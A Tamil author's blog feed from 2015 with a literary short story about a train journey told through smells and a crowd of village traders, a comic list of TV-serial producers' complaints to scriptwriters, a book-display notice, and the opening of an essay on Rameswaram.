கிடக்கட்டும். அந்த அரக்கோணத்துக் கனவானின் அத்தர் வாசனையைச் சொல்ல வந்தேன். இது இலவங்கப்பட்டை சேர்த்த காய்கறிக் கூட்டின் வாசனையைக் காட்டிலும் காட்டமானது. இந்தக் காலத்தில் எத்தனையோ நூதனமான வாசனாதி திரவியங்கள் வந்துவிட்டன. மென்மையும் சுகந்தமும் சேர்ந்த வாசனைகள். இவர் ஏன் இன்னும் அத்தரில் இருக்கிறார்? கொஞ்சம் எரிச்சலாக இருந்தது. ஒரு காலத்தில் நான்கூட காதி கிராஃப்டில் ஜவ்வாது வாங்கி வந்து பூசிக்கொண்டிருந்தேன். விலை மலிவு, சுதேசிச் சரக்கு என்று சில காரணங்களையும் சொல்லுவேன். ஏனோ சீக்கிரமே எனக்கு அது பிடிக்காமல் போய்விட்டது. வாசனையானது அந்த எதிர் சீட்டு கனவானின் இரண்டாவது பெண்ணின் மோதிர விரல் மாதிரி சன்னமாக இருக்கவேண்டும். விரலைக் காட்டிலும் ஓரிரு மில்லி மீட்டர்கள் பெரிதான மோதிரமொன்றை அவள் அணிந்திருக்கிறாள். அதை மறுகையால் உருட்டிக்கொண்டேவும் இருக்கிறாள்.


நான் வெகுநேரம் அவள் விரலையே பார்த்துக்கொண்டிருந்தேன். சப்பாத்தியை விள்ளும்போது ரொம்ப அழகாக அந்த மோதிர விரல் ஒரு சேவலின் தலைபோல் டொய்ங் என்று முக்கால் சதம் எழுந்து எழுந்து தணிவது பார்க்க ரசமாயிருந்தது. உண்மையில் அந்த இலவங்கப்பட்டை வாசனையை மறக்கடிக்க அந்தக் காட்சிதான் எனக்கு உதவி செய்துகொண்டிருந்தது. ஆனால் அடுத்த வேளையும் அவளது தாயார் அதே சப்பாத்திப் பாத்திரத்தையும் காய்கறிக் கூட்டுப் பாத்திரத்தையும் திறக்கவே செய்வாள்.


0


எங்கே போகிறீர்கள் என்று அரக்கோணத்துக்காரர் கேட்டார். எதிர் இருக்கைக் குடும்பத்தார் வேறு மொழி. என்னால் அவர்களோடு நீண்ட உரையாடல்களை நிகழ்த்த இயலாது. அந்த விதத்தில் நான் அரக்கோணத்துக்காரருக்கு நியாயமாக நன்றி சொல்லவேண்டும். ஆனால் அவர் பேசும்போது அவர் வாய்க்குள் இருந்துவேறு, ஒரு வாசனை வெளிப்பட்டது. மவுத் ஃப்ரெஷ்னர் உபயோகிப்பார் போலிருக்கிறது. இதுவும் எனக்கு இடைஞ்சலே. ஏனென்றால் நான் அப்போது வாசிக்க எடுத்திருந்தது ஒரு ரஷ்யச் சிறுகதைத் தொகுப்பு. பொதுவாகவே பயணங்களுக்கு உகந்தவை சோவியத் காலப் புஸ்தகங்களே. மாறும் நிலக் காட்சிகளும் கணத்துக்குக் கணம் காற்று ஏந்தி எடுத்து வந்து சேர்க்கும் விதவிதமான வாசனைகளும் ரயில் பெட்டியின் இரும்பு வாசனையும் கலந்து கட்டி அந்தப் புத்தகங்களுக்கு ஓர் இறவாத்தன்மை அளித்துவிடும். எத்தனையோ பல வருஷங்களுக்குப் பிறகு தூசு தட்டி மீண்டும் எடுத்து வாசிக்க ஆரம்பித்தாலும் முந்தைய பயண வாசிப்பின்போது உணர்ந்த வாசனைகளை ஒன்று மிச்சமில்லாமல் நினைவுகூர்ந்துவிட இயலும்.


ஆனால் அரக்கோணத்து அத்தர்க்காரருடன் பேச்சுக் கொடுத்தபடி இதை வாசிக்க முடியாது. வாசிப்பும் பாழ். வாசனையும் பாழ். எனவே மூடி வைத்துவிட்டு அவர் என்ன மௌத் ஃப்ரெஷ்னர் உபயோகிக்கிறார் என்று விசாரித்தேன். இப்போது இரண்டாவது வேளை சப்பாத்தி, கூட்டு உண்ணத் தொடங்கியிருந்த எதிர் சீட்டுக் குடும்பமும் இதனைக் கவனிக்க ஆரம்பித்தது. அரக்கோணத்துக்காரர் தமது மவுத் ஃப்ரெஷ்னரின் பிராண்டைச் சொல்லிவிட்டு அதன் அருமை பெருமைகளை விவரிக்க ஆரம்பித்தார். ஒரு முறை கொப்புளித்துத் துப்பிவிட்டால் போதும். பன்னிரண்டு மணி நேரங்களுக்கு வாசனை அப்படியே இருக்கும். அவர் ஒரு விற்பனை அதிகாரி. தினமும் ஏராளமான மக்களைச் சந்தித்து உரையாட வேண்டிய பணியில் இருப்பவர். மடிப்புக் கலையாத சட்டை பேண்ட், பளபளப்புக் குறையாத விலை உயர்ந்த ஷூக்கள், டை போலவே மவுத் ஃப்ரெஷ்னரும் அவரது தொழில்சார் தேவைகளுள் ஒன்று.


ஆனால் ஐயா, ரயில் பயணத்திலாவது இதனைத் தவிர்க்கலாமே? இங்கு யார் உங்கள் வாயைப் பிடுங்கி முகரப் போகிறார்கள் என்று கேட்க நினைத்தேன். எதற்கு வம்பு என்று பேசாதிருந்துவிட்டேன். எப்படியும் என் நிம்மதி போய்விட்டது. வண்டி ஏறியதில் இருந்து ஒரே வாசனைதான். இல்லையில்லை. இரண்டு வாசனைகள். ஒருவேளை அதுவுமில்லையோ? ஆம். மூன்று. இலவங்கப்பட்டை போட்ட காய்கறிக் கூட்டின் வாசனை எதிர்ப்புறத்தில் இருந்து. காட்டமான அத்தரின் வாசனை இடப்பக்கமிருந்து. தப்பித்தவறி அந்த உத்தமர் வாய் திறந்தால் அந்த விலை உயர்ந்த மவுத் ஃப்ரெஷ்னரின் வாசனை.


சரி, விதித்தது இதுதான். சகித்துக்கொள்ள வேண்டியதுதான். படிக்கும் இச்சையை மூட்டை கட்டிவிட்டு ஏறிப் படுத்துவிட்டேன். மேல் தளத்துக்குப் போனாலும் இதே வாசனைதான். பெட்டியில் கொஞ்ச நேரம் நடந்துவிட்டு வரலாம் என்று தோன்றியது. பயமாக இருந்தது. இன்னும் காட்டமாக, இன்னும் மோசமாகச் சில வாசனைகளை நுகர வேண்டி வந்துவிட்டால் இந்தப் பயணமே நரகமாகிவிடும். சாகும்வரை மறக்க முடியாத நினைவுகளுக்குச் சேமித்து வைக்க முடியாது போய்விடும். ஆயிரத்தி எழுநூறு கிலோ மீட்டர்கள். அதில் சரி பாதி தூரத்துக்குமேல் கடந்தாகிவிட்டது. இன்னும் சப்பாத்திப் பாத்திரம் காலியானபாடில்லை. இடையே எழுந்து ஒருதரம் கழிப்பறைக்குப் போய்வந்த அரக்கோணத்துக்காரர் இன்னொரு தரம் அந்த மவுத் ஃப்ரெஷ்னரைப் போட்டுக் கொப்பளித்துத் துப்பிவிட்டு வந்திருந்தார். நெருங்கும்போதே தெரிந்துவிட்டது. என்ன துணிச்சல் இருந்தால் உங்களுக்கு வேண்டுமா என்று என்னை வேறு கேட்பார்? ரொம்பக் கஷ்டப்பட்டு என் கோபத்தை அடக்கிக்கொண்டேன்.


எதிர் சீட்டுக் கனவானும் அவரது மனைவியும் குறட்டை விட்டுத் தூங்கிக்கொண்டிருந்தார்கள். அவர்களது இரண்டு பெண்பிள்ளைகளும் எதிரெதிரே அமர்ந்து இடையில் துண்டு விரித்து சீட்டாடிக்கொண்டிருந்தார்கள். குடும்ப விளையாட்டு போலிருக்கிறது. வெறுமனே சாப்பாத்தி தின்று சீட்டாடி வாழ்க்கையை ஓட்டிவிடும் உத்தேசமோ என்னமோ. ஒருத்திக்குப் பதினாறு வயதிருக்கும். அடுத்தவளுக்கு இரண்டு அல்லது மூன்று குறைச்சல். ஏறியதில் இருந்து ஒரு முறைகூட அவர்கள் என்னை நேருக்கு நேர் பார்க்கவேயில்லை என்று தோன்றியது. அப்படியொன்றும் பேரழகன் இல்லை என்றாலும் பார்க்கவே முடியாத சொரூபமல்ல. பத்துப் பன்னிரண்டு மணி நேரங்களாகக் குத்துக்கல் மாதிரி எதிரே உட்கார்ந்திருப்பவனுக்கு ஒரு பார்வை தரக் கூடாதாமா! என்ன பிறப்போ, என்ன வளர்ப்போ.


0


இரண்டாம் நாள் பிற்பகல் கடந்து மாலை நேரத்தை நெருங்கிக்கொண்டிருந்தது ரயில். ஆந்திரத்தையெல்லாம் தாண்டியாகிவிட்டது. மூச்சைப் பிடித்துக்கொண்டு இன்றொரு இரவை ஒரே தாவாகத் தாவிவிட்டால் விடியும் நேரம் இறங்கிவிடலாம். அதுவரை இந்த அத்தர், மவுத் ஃப்ரெஷ்னர் மற்றும் இலவங்கப்பட்டை வாசனையைச் சகித்துக்கொண்டுதான் தீரவேண்டும். மதிய உணவோடு அந்த சப்பாத்திப் பாத்திரம் காலியாகிவிடும் என்றுதான் முதலில் நினைத்தேன். ஆனால் என் நினைப்பை அந்தப் பெண்மணி தவிடுபொடியாக்கியிருந்தாள். நான் அதுவரை பார்த்திராத அவர்களது இன்னொரு பையில் – இது சீட்டுக்கு அடியில் உள்ளடங்கி ஒளித்து வைக்கப்பட்டிருந்தது – வேறொரு சப்பாத்தி மூட்டை இருந்தது. அதே காய்கறிக் கூட்டு. மாலை நேரச் சிறுபசிக்கும் அந்த அம்மாள் அதைத்தான் தன் மகள்களுக்குக் கொடுத்தாள். ஒரு நாளைக்கு இருபது முதல் இருபத்தி ஐந்து சப்பாத்திகள் என்றால் மாதத்துக்குத் தோராயமாக அறுநூறு சப்பாத்திகள். வருடத்துக்குச் சுமார் இரண்டே கால் லட்சம் சப்பாத்திகள். எனில் ஒரு வாழ்நாளில் எத்தனை கோடி சப்பாத்திகளை உண்டு தீர்க்க வேண்டும்! அது கூடப் பிரச்னையில்லை. ஒரு முழு வாழ்நாளும் இலவங்கப்பட்டை வாசனையுடனேயே வாழ்ந்து தீர்ப்பது எத்தனை பெரிய சாபம்!


எனக்காவது இந்த ஒரு பயணத்துடன் தண்டனை முடிந்துவிடும். அந்தப் பெண்பிள்ளைகளின் நிலைமையை யோசித்துப் பார்த்தேன். எப்படியாவது இவர்களிடம் ராமாமிருதத்தின் தரங்கிணியைக் கொடுத்துப் படித்துப் பார்க்கச் சொல்லவேண்டும் என்று தோன்றியது. படிக்கக்கூட வேண்டாம். முகர்ந்தாலேகூடப் போதும். வயல்வெளிகளின் நடுவே பம்ப் செட்டில் குளிக்கும்போது நாசி நுகரும் வாசனை அந்தக் கதைக்குள் இருந்து வெளிப்பட்டுக்கொண்டே இருக்கும். உடம்பெல்லாம் சில்லிட்டுப் போய்விடும். அபாரமான அனுபவம். ஒவ்வொரு முறை அந்தக் கதையை வாசித்ததும் எனக்கு ஓடிப் போய்க் குளிக்கத் தோன்றும். மணிக்கணக்கில் தண்ணீருக்கடியில் நின்றுகொண்டே இருப்பேன். முதல் தும்மல் வரும்வரை கணக்கு. அதன்பின் தலை துவட்டிவிட்டு வந்து சூடாக ஒரு காப்பி சாப்பிட்டால்தான் (சர்க்கரை கம்மி) கதை ஜீரணமாகும்.


பாழ். எல்லாமே பாழ். ஒரு பெரும் பயணம் இப்படி சர்வநாசமாகும் என்று நான் எண்ணியிருக்கவில்லை. என்ன செய்யலாம் என்று யோசித்தேன். பேசாதிருப்பதைத் தாண்டி வேறு வழி தோன்றவில்லை. எடுத்து வெளியே வைத்திருந்த என் புத்தகங்களையெல்லாம் மீண்டும் பெட்டிக்குள் போட்டு பூட்டினேன். பெட்டியை சீட்டுக்கடியில் காலால் எக்கித் தள்ளி என் கோபத்தை வெளிப்படுத்தினேன். ரொம்ப நேரம் ஜன்னலுக்கு வெளியே பார்த்தபடியே அமர்ந்திருந்தேன்.


வண்டி ஏதோ ஒரு ஸ்டேஷனில் நின்றது. சுமார் நாற்பது லட்சம் சொற்கள் ஜன்னல் கம்பிகளை உடைத்துக்கொண்டு உள்ளே பாயத் தொடங்கின. யாரோ படபடவென்று கதவைத் தட்டினார்கள். எனக்குப் புரியவில்லை. அது ரிசர்வ் செய்தவர்களுக்கான பெட்டி. இனிமேல் யாரும் ஏறி அமர இயலாது. இருப்பினும் வெளியே ஓயாமல் கதவைத் தட்டிக்கொண்டே இருந்தார்கள். ஜன்னல்களில் பலப்பல ஆண்கள் மற்றும் பெண்களின் முகங்கள் முட்டி மோதித் தோன்றி ஏதேதோ கூறின. அவசரமும் வெறியும் வேகமும் சொற்களில் தெறித்துச் சிதறின.


வேண்டாம், யாரும் திறக்காதீர்கள் என்று யாரோ கத்தினார்கள். பதிலுக்கு வெளியில் இருந்து எதிர்ப்புக் குரல் பலமாக வந்தது. அவர்கள் ரயிலின் பக்கவாட்டுத் தகரத்தை இடிக்கும் வேகத்தில் பெட்டியே நொறுங்கிவிடும் என்று தோன்றியது. ஒரு டிக்கெட் பரிசோதகர் எங்கள் இடத்தைக் கடந்து போகும்போது அரக்கோணத்துக்காரர், என்ன சார் இதெல்லாம்? என்று கேட்டார். அவர் பதில் சொல்லவில்லை. வருஷக்கணக்கில் அவர் தினசரி சந்திக்கும் காட்சிதான் போலிருக்கிறது. எனக்குத்தான் வெளியே ஏதோ கலவரம், கொலை, தீ வைப்பு நிகழ்ந்திருக்கிறது என்று தோன்றியதோ? பெட்டியில் வேறு யாரும் அலட்டிக்கொண்டதாகவே தெரியவில்லை. தொண்டை கிழியக் கத்திக்கொண்டிருந்த அந்தக் கூட்டத்தைப் பரிதாபமாகப் பார்த்துக்கொண்டிருந்தேன். ஒருத்தன் என்னைப் பார்த்து மிரட்டும் தொனியில் கத்தினான். வந்து கதவைத் திற. சீக்கிரம் திற.


கொஞ்சம் பயமாகக் கூட இருந்தது. அதற்குள் வண்டி கிளம்புவதற்கான சிக்னல் விழுந்துவிட்டது. தப்பித்தோம் என்று உள்ளே இருந்தவர்கள் நிம்மதிப் பெருமூச்சு விட்டார்கள். எதிர் சீட்டுக்காரரும் அவரது மனைவி மக்களும் மட்டும் ஒன்றுமே நடவாதது போல இருந்தார்கள். இரவுச் சப்பாத்திகளின் எண்ணிக்கை சற்றுக் குறைவாக இருப்பதாகவும், போதவில்லை என்றால் கொஞ்சம் பழங்கள் வாங்கிக்கொள்ளலாம் என்றும் அந்த அம்மாள் சொல்லிக்கொண்டிருந்தாள்.


வண்டி கிளம்பிவிட்டது. வெளியே கத்திக்கொண்டிருந்த கூட்டம் விடாமல் பக்கவாட்டில் இடித்தபடியே வண்டியோடு ஓடி வந்துகொண்டிருந்தது. அரக்கோணத்துக்காரர் தன் பெட்டியைத் திறந்து காற்றுத் தலையணையை எடுத்து ஊதத் தொடங்கினார். நான் வண்டியோடு கூட ஓடி வந்துகொண்டிருந்த கூட்டத்தையே பார்த்துக்கொண்டிருந்தேன்.


எந்தக் கணத்தில் அது நிகழ்ந்தது என்று தெரியவில்லை. கூட்டத்தில் ஒருவன் ஜன்னல் வழியே கைவிட்டு வண்டியின் கதவைத் திறக்க முயற்சி செய்து கொண்டிருந்திருக்கிறான். வண்டி கிளம்பியபோதும் அவன் தன் முயற்சியைக் கைவிடாமல் இன்னும் ஆவேசமாக முயன்றபடியே ஓடி வர, வண்டி வேகம் பிடிக்கத் தொடங்கிய நேரம் கதவும் திறந்துகொண்டது.


அவ்வளவுதான். ஒரு பத்திருபது பேராவது பாய்ந்து வந்து ஏறிவிட்டார்கள். காச்சுமூச்சென்று ஒரே சத்தம். கதவு திறக்காத களவாணிப் பசங்களா. இதென்ன உன் அப்பன் வீட்டு ரயிலா? இங்கே ஏறி அங்கே குதித்தார்கள். காலில் பட்ட பெட்டிகளையெல்லாம் எட்டி உதைத்தார்கள். இதோ பாருங்கள், நீங்கள் செய்வது சரியில்லை. இது ரிசர்வ்ட் கம்பார்ட்மெண்ட். நீங்கள் ஏறியது சட்டப்படி தவறு. யார் யாரோ பேசினார்கள். டிடிஆரைக் கூப்பிடுங்கள். யாரோ கத்தினார்கள்.


மனிதர் பெரிய கில்லாடியாக இருப்பார் என்று நினைக்கிறேன். வண்டி கிளம்பும்வரை காவல் தெய்வம் மாதிரி பெட்டிக்குள்ளேயே சுற்றிக்கொண்டிருந்துவிட்டு, தாழ்ப்பாளை உடைத்துக்கொண்டு அவர்கள் ஏறிய நேரம் அவர் நைசாகக் கம்பி நீட்டிவிட்டார். பாதகமில்லை. இதுவும் ஒரு அனுபவம். வெறுமனே சப்பாத்தி தின்பதைப் பார்த்துக்கொண்டிருப்பதைக் காட்டிலும் ரசமாகத்தான் இருக்கிறது.


வண்டி வேகமெடுக்கத் தொடங்கிவிட்டது. ஏறிய புதியவர்கள் நடைபாதையை அப்படியே ஆக்கிரமித்து உட்கார்ந்துவிட்டார்கள். எனக்குப் புரியாத மொழியில் அவர்களுடைய அறப்போராட்டம் வெற்றி கண்ட பரவசத்தைப் பகிர்ந்துகொண்டிருந்தார்கள். விஷயம் அதுவல்ல. எதிர் சீட்டுக் குடும்பத்தினருக்கும் அரக்கோணத்துக்காரருக்கும் இந்த அத்துமீறல் மிகுந்த கோபத்தையும் வெறுப்பையும் அளித்திருந்தது. இருவரும் வாய்க்கு வந்தபடியெல்லாம் அவர்களைத் திட்ட ஆரம்பித்தார்கள். காட்டு மிராண்டிகள். நாகரிகம் அறியாதவர்கள். வெறும் முரடர்கள். இவர்களையெல்லாம் கேட்பாரில்லை. டிடிஆர் கடங்காரர்களுக்கும் இவர்களுக்கும் எப்போதும் ரகசியக் கொடுக்கல் வாங்கல் தொடர்பு இருக்கும். வேண்டுமென்றேதான் வண்டி கிளம்பும் நேரம் இவர்களை அவர் உள்ளே அனுமதித்திருக்கிறார். வெளியில் இருந்தெல்லாம் கதவைத் திறக்கவே முடியாது. அவர்தான் திருட்டுத்தனமாகத் திறந்து விட்டிருக்க வேண்டும்.


ஏறிய புதியவர்கள் இதையெல்லாம் கண்டுகொள்ளவேயில்லை. அவர்கள் சிறு வியாபாரிகள் போலிருக்கிறது. ஏதோ கிராமத்தில் இருந்து சரக்கெடுத்துக்கொண்டு பக்கத்தில் எங்கோ டவுனுக்குப் போகிறவர்கள். ஏழெட்டுக் கூடைகளை அவர்கள் எடுத்து வந்திருந்தார்கள். ஓடும் ரயிலில் கூடைகளுடன் எப்படித்தான் ஏறினார்களோ. எல்லாமே அழுக்குக் கூடைகள். மேலே சிவப்பு நிறத்தில் துணி சுற்றி மூடியிருந்தது. ஒருத்தன் அதில் ஒரு கையை ஊன்றிக்கொண்டு கூடைக்கு அப்பால் பொச்சென்று ஒருதரம் துப்பினான். அரக்கோணத்துக்காரர் அலறிவிட்டார். என்ன இது சுத்த நான்சென்ஸாக இருக்கிறதே. ஏய், எழுந்திரு. இது என்ன உன் வீட்டு வாஷ் பேசினா? போய் கக்கூசில் துப்பிவிட்டு வா. கருமம். கருமம்.


போடா சர்தான் என்று அவன் ஒரு பார்வை பார்த்தான். கூட்டத்தில் ஒருவன் உரக்கக் குரல் எடுத்துப் பாட வேறு ஆரம்பித்துவிட்டான். முதல் நாள் மாலை ரயில் ஏறியதில் இருந்து ஒரு அசையாப்படத்தை பார்த்துக்கொண்டிருப்பது போலவே உணர்ந்த எனக்கு இது பெரிய ஆசுவாசமாக இருந்தது. என் இடத்தை விட்டு எழுந்து அரக்கோணத்துக்காரரை நகர்ந்து கொள்ளச் சொல்லிவிட்டு அவர் இடத்தில் நான் அமர்ந்துகொண்டேன். பாடிக்கொண்டிருந்தவனைப் பார்த்துப் புன்னகை செய்தேன். அவன் பாடியது ஏதோ ஒரு ஒரிய சினிமாப் பாட்டாயிருக்க வேண்டும். எனக்கு அந்தப் பாட்டு பிடிக்கவில்லை என்றாலும் அந்த உற்சாகம் பிடித்திருந்தது. ஒரு பார்வையாளன் அகப்பட்டுவிட்டான். அவனை ஏன் ரசிகனாகவும் ஆக்கிவிடக் கூடாது? அவன் மேலும் உற்சாகமாகப் பாடத் தொடங்கினான். இரண்டு பேர் பிரம்புக் கூடைகளில் தாளம் போடத் தொடங்கினார்கள்.


சப்பாத்திக் குடும்பத்தினர் பொறுமை இழக்கும் எல்லையைத் தொட்டிருந்தார்கள். நான்கு பேரின் முகமும் தணல் மாதிரி ஜொலித்துக்கொண்டிருந்தது. வடக்கத்திக்காரர்களுக்கு இந்த மாதிரி ரயில் பயண அனுபவம் ஏற்கெனவே இருந்திருக்கவேண்டும். இருப்பினும் தமிழ் நாட்டுக்கு வந்து திரும்புகிறார்கள் அல்லவா? அந்த பாதிப்போ என்னமோ. நான்கு பேரும் அந்த அத்துமீறல்வாதிகளைக் கண்டபடி திட்டிக்கொண்டே இருந்தார்கள். அவ்வப்போது அரக்கோணத்துக்காரரும் அவர்களுடன் சேர்ந்துகொண்டார். எனக்கு இதுவும் சுவாரசியமாக இருந்தது. என்றால் மேலும் சுவாரசியம் கூட்டலாமே?


என் பங்குக்கு நானும் அந்தப் பாட்டுக்குத் தாளம் போட ஆரம்பித்தேன். அவ்வளவுதான். ஒருவன் பாடிக்கொண்டிருந்தான் அல்லவா? அவனோடு இன்னும் இரண்டு பேர் சேர்ந்து பாடத் தொடங்கிவிட்டார்கள். இப்போது பிரம்புக் கூடைத் தாளம் மறைந்து அவர்கள் சீட்டுகளிலேயே தாளம் போட ஆரம்பித்தார்கள். சத்தம் பலமாக இருந்தது. ஆரவாரமாக இருந்தது. சட்டென்று ஒருவன் எழுந்து ஆட ஆரம்பித்தான். நான் எழுந்து நின்று கைதட்டத் தொடங்கினேன். உடனே அவனுக்குக் குதூகலம் பீறிட்டுவிட்டது. சரேலென்று என்னை இழுத்து, என் கைகளைப் பிடித்துக்கொண்டு ஆட்டம் போடத் தொடங்கிவிட்டான்.


என் பார்வை அந்த எதிர் சீட்டுக்காரரின் பதினாறு வயது மகளின்மீதுதான் முதலில் சென்றது. அவள் என்னைப் பார்க்கிறாளா? நிறுத்தி நிதானமாகக் கவனிக்க முடியவில்லை. ஏனென்றால் எதிர் சீட்டுக்காரர் என்னையேதான் பார்த்துக்கொண்டிருந்தார். இவ்வளவு நேரம் ஒரு வார்த்தையும் பேசாமல் உம்மணாமூஞ்சி மாதிரி உட்கார்ந்திருந்தவனுக்குள் இப்படி ஒரு கிறுக்குப்பயல் இருப்பான் என்று அவர் எண்ணியிருக்க மாட்டார். சுத்த நான்சென்ஸ்.


என்ன வேண்டுமானாலும் நினைத்துக்கொள்ளட்டும். எனக்கு அந்தப் பாட்டும் ஆட்டமும் ரொம்பப் பிடித்துவிட்டது. என்னை அறிந்தவர்கள் யாருமில்லாத ரயில் பெட்டி. ஆடினால் என்ன? பாடினால் என்ன? பத்து நிமிஷம் அந்த கிராமத்தான் கையைப் பிடித்துக்கொண்டு ஆடித் தீர்த்திருப்பேன். மூச்சு வாங்க உட்கார்ந்தபோது அந்தக் கூட்டமே என்னைப் பார்த்து சினேகமாகச் சிரித்தது. ஒருத்தன் சட்டென்று சிவப்புத் துணி போட்டுக் கட்டியிருந்த தன் பிரம்புக் கூடையின் கட்டைப் பிரித்தான்.


குப்பென்று புகையிலை வாசனை. வயல் வெளியில் இருந்து பறித்துக் காயவைத்து எடுத்து வந்திருக்கிறார்கள். எங்கோ கொண்டு விற்கப் போகிறார்கள் போலிருக்கிறது. நான் பார்த்துக்கொண்டே இருந்தேன். ஒரு புகையிலைக் கட்டையை அதற்குமுன் நான் கண்டதில்லை. நீள நீளமாக பாம்புத்தோல் மாதிரி இருந்தது. கறுத்தும் கனத்தும் சுருண்டும் கிடந்த புகையிலைக் கட்டைகள். அவன் அதிலொன்றை உருவி என்னிடம் நீட்டினான். கடித்துத் தின்னச் சொல்கிறானா, பொடித்து மெல்லச் சொல்கிறானா என்று புரியவில்லை. இருப்பினும் அதை வாங்கிக்கொண்டேன். மூக்கருகே வைத்து முகர்ந்து பார்த்தது பேரனுபவமாக இருந்தது. ஒரு விள்ளல் கிள்ளியெடுத்து உள்ளங்கையில் வைத்துக் கசக்கி வாயில் போட்டுக்கொண்டேன். கசக்கிய உள்ளங்கையை மீண்டும் முகர்ந்து பார்த்தேன். அவனைப் பார்த்துச் சிரித்தேன்.


அப்படியே காம்யுவின் வாசனை .


O


Copyright © 2008-2011 Pa Raghavan .
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright.
)
1 like ·   •  0 comments  •  flag
Share on Twitter
Published on January 14, 2015 17:54

January 8, 2015

சேகரைச் சாகடிக்கும் கலை

நெடுந்தொடருலகில் கதாசிரியன் பாடு சற்று பேஜாரானது. சும்மா ஒரு ஜாலிக்கு அவனைப் போட்டு வாங்க நினைப்பவர்கள் மாதாந்திரக் கதோற்சவத்தில் சில மந்திரப் பிரயோகங்கள் செய்வர். அவையாவன:-


1. செகண்டாஃப் கொஞ்சம் lag சார்.

2. சீன் ரிப்பீட் ஆகுது சார்.

3. ஸ்கிரீன் ப்ளே ஓகே, ஆனா சீன் ப்ளே சரியில்ல.

4. இதே சீன் பன்னெண்டர சீரியல்ல நேத்துதான் டெலிகாஸ்ட் ஆச்சு.

5. எமோஷன் கம்மியா இருக்கு சார்

6. பேசிட்டே இருக்காங்க. ஆக்‌ஷன் பத்தல.

7. கதை ஹீரோயின்மேல போகல சார்.

8. கதையா கேக்குறப்ப ஓக்கே, ஆனா டெலிகாஸ்டுல இடிக்குது சார்.

9. சீன்ஸ் நல்லாருக்கு; ஆனா கதை மூவ் ஆகல சார்.

10. சைட் டிராக் ஸ்டோரி ஒட்டல சார்.

11. இந்த லைன் இப்பத்தான் சார் —-ல வந்து முடிஞ்சிது.

12. டீடெயில் பத்தல.

13. பட்ஜெட் கட்டாது சார்

14. ஷிப்டிங் நெறைய கேக்கும்.

15. சீனெல்லாம் நல்லாருக்கு. ஆனா டயலாக் வர்ஷன் சரியா இல்ல.

16. ஜூனியர் ஆர்டிஸ்ட் நெறைய வராங்க. அந்த சீனெல்லாம் பெரிசா வேற இருக்கு.

17. ஆடிக்கு ஒரு நாள் சீன் வந்தா ஆர்ட்டிஸ்ட் எப்படி டேட் தருவாங்க?

18. ஆஸ்பிடல் நிறைய வருது சார். ஆடியன்ஸ் உக்காரமாட்டாங்க.

19. இதெல்லாம் கேக்க நல்லாருக்கும்; நம்பர் வராது

20. டிராக்ஸ் தனியா கேக்க நல்லாருக்கு. ஆனா ஒண்ணோட ஒண்ணு ஒட்டமாட்டேங்கு.

21. எமோஷன் சஸ்டெயின் ஆகமாட்டேங்குது

22. ஒரு டிராக் புடிச்சா பத்து எபிசோடுக்காவது நிக்கணும். இதுல டக்கு டக்குனு கட்டாயிடுது சார்.

23. யூனிட் இல்லாம பண்ண மூணு நாளைக்காச்சும் சீன் வேணும் சார்

24. நாப்பது நாப்பதா குடுத்திங்கனா ஷெட்யூல் போட முடியாது சார். நூறு சீன் பல்க்கா குடுங்க.

25. செகண்டாஃப் நீங்க கரெக்ட் பண்ணிருவிங்க; தெரியும். ஃபர்ஸ்டாஃப் கொஞ்சம் பாத்துக்கிடுங்க.


Copyright © 2008-2011 Pa Raghavan .
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright.
)
 •  0 comments  •  flag
Share on Twitter
Published on January 08, 2015 17:39

பொம்மை கண்காட்சி

மதி நிலையம் இதுவரை புதுப் பதிப்பாகவும் மறு பதிப்பாகவும் வெளியிட்டுள்ள என்னுடைய நூல்கள் இவை. இன்னும் ஒரு சில புத்தகங்கள் எதிர்வரும் மாதங்களில் வெளியாகும். நிலமெல்லாம் ரத்தம் மறுபதிப்பு அவற்றில் ஒன்று. வேலை மெனக்கெட்டு என் அனைத்துப் புத்தகங்களையும் தொகுத்து இப்படி ஒரு டிசைன் செய்துகொடுத்த மதி நிலையத்தின் வடிவமைப்பாளர் பிரேமுக்கு என் அன்பு.


para book fair copy


 


Copyright © 2008-2011 Pa Raghavan .
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright.
)
 •  0 comments  •  flag
Share on Twitter
Published on January 08, 2015 05:54

January 5, 2015

சத்ருக்னனின் கிரகப்பிரவேசம்

முன்னொரு காலத்தில் நான் கல்கி வார இதழில் பணியாற்றிக்கொண்டிருந்தேன். பணி நிமித்தமாக ஒருமுறை ராமேஸ்வரத்துக்குப் போய்வர நேர்ந்தது. இரண்டு நாளோ மூன்று நாளோ நீடித்த பணிதான். ஆனால் அந்நகரம் என்னை அப்போது வெகுவாக பாதித்தது. காரணம் தெரியவில்லை. இன்னொரு முறை போகலாம் என்று தோன்றியது.


சென்னை திரும்பி எழுத வேண்டிய கட்டுரைகளை எழுதிக் கொடுத்துவிட்டு அடுத்த வார இறுதியிலேயே மீண்டும் ஒருமுறை ராமேஸ்வரத்துக்குப் போனேன். இம்முறை கடமை ஏதுமில்லை. வெறுமனே சுற்றி அலைய மட்டுமே சென்றேன். இரண்டு நாள் இரவும் பகலும் கால் தனியே கழண்டுவிடுமளவுக்கு அத்தீவை நடந்தே சுற்றி வந்தேன். பிரம்மாண்டமான ஓர் ஆலயத்தை அஸ்திவாரமாகக் கொண்டு எழுப்பப்பட்ட மண் சார்ந்த கதைகளின் ஈரம் இன்னும் அத்தீவில் வீசும் காற்றில் கலந்திருப்பதைச் சொற்களற்று உணர்ந்தேன்.


ஆனால் சமகாலம் அத்தீவின் அற்புதங்களைக் காப்பாற்றும் யோக்கியதை கொண்டதாக இல்லை. தொட்ட இடமெல்லாம் மொட்டுவிடும் அழகிய தேவதைக் கதைகளைக் காலம் அரிதாரம் பூசிக் கற்பழித்துவிட்டது. புராதனச் சின்னங்கள் யாவும் அற்ப சுத்திக்கான இடங்களாகியிருந்தன. கோயில், ஊழியர்களின் உடைமையாகிவிட்டபடியால் மந்திரங்கள் மலிவு விலைக்கு விற்கப்பட்டுக்கொண்டிருந்தன. வாழ்வு சார்ந்த தேவைகளுக்கு நிகராக வேறெதுவும் இன்றியமையாததல்ல என்னும் கன்னத்தில் அறையும் யதார்த்தம் மட்டுமே மேலோங்கியிருந்தது.


